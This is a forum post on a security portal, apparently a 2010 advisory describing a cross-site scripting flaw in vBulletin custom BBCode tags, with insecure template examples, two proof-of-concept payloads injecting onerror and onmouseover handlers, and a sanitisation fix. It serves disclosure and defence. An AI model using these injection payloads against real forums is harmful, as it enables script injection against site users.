Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
May 30, 2024
 Members List
 IRC chat
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 Sql Char Encoder
 y3dips ITsec
 Md5 Cracker
 User Manuals
 Recommend Us
 Your Account

User Info
Welcome, Anonymous

Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 431
Members: 0
Total: 431
PacketStorm News
·301 Moved Permanently

Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> vBulletin Board -> vBulletin - Insecure Custom BBCode Tags
Post new topic  Reply to topic View previous topic :: View next topic 
vBulletin - Insecure Custom BBCode Tags
PostPosted: Thu Apr 29, 2010 6:08 pm Reply with quote
Advanced user
Advanced user
Joined: Sep 25, 2008
Posts: 87

Versions Affected: 3.8.4 PL2 (Most likely all versions)

Content publishing, search, security, and more—vBulletin has it all. Whether
it’s available features, support, or ease-of-use, vBulletin offers the most for
your money. Learn more about what makes vBulletin the choice for people
who are serious about creating thriving online communities.

External Links:

-:: The Advisory ::-
A vulnerability exists within vBulletin which makes an attacker able to inject
code such as HTML or Javascript via custom BBCode Tags IF they follow certain
conditions which are described below.

- User-input must be located inside a variable in a HTML-tag.
- Apostrophes or nothing must be used for encapsulation.

Insecure Implementations:

- Example 1 (src is insecure)
<img src='{param}' style='border-width:5px;border-color:red;border-style:outset;' />

- Example 2 (href is insecure)
<a href={option} style=border-width:5px;border-color:red;border-style:outset;>{param}</a>

Exploitation of Above Implementations:

- Example 1 (PoC)
[BadTag]x:x' onerror=alert(0) foo='[/BadTag]

- Example 2 (PoC)
[BadTag2=fail onmouseover=alert(0)]Link[/BadTag2]

-:: Solution ::-
Sanitize BBCode with htmlentities($var, ENT_QUOTES); or htmlspecialchars($var); in the PHP files.
(Jelsoft should fix this, however I may provide a patch if they don't.)

Alternatively don't use BBCode with apostrophes where user-input is inside a variable.

Examples of "Secure Implementation":
<img src="{param}" style='border-width:5px;border-color:red;border-style:outset;' />
[ + ] Note that src's value is encapsulated with quotes.

<a href="{option}" style=border-width:5px;border-color:red;border-style:outset; />{param}</a>
[ + ] Note that href's value is encapsulated with quotes.

Author MaXe
View user's profile Send private message
vBulletin - Insecure Custom BBCode Tags
  www.waraxe.us Forum Index -> vBulletin Board
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

 Post new topic  Reply to topic  

Powered by phpBB © 2001-2008 phpBB Group

Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.121 Seconds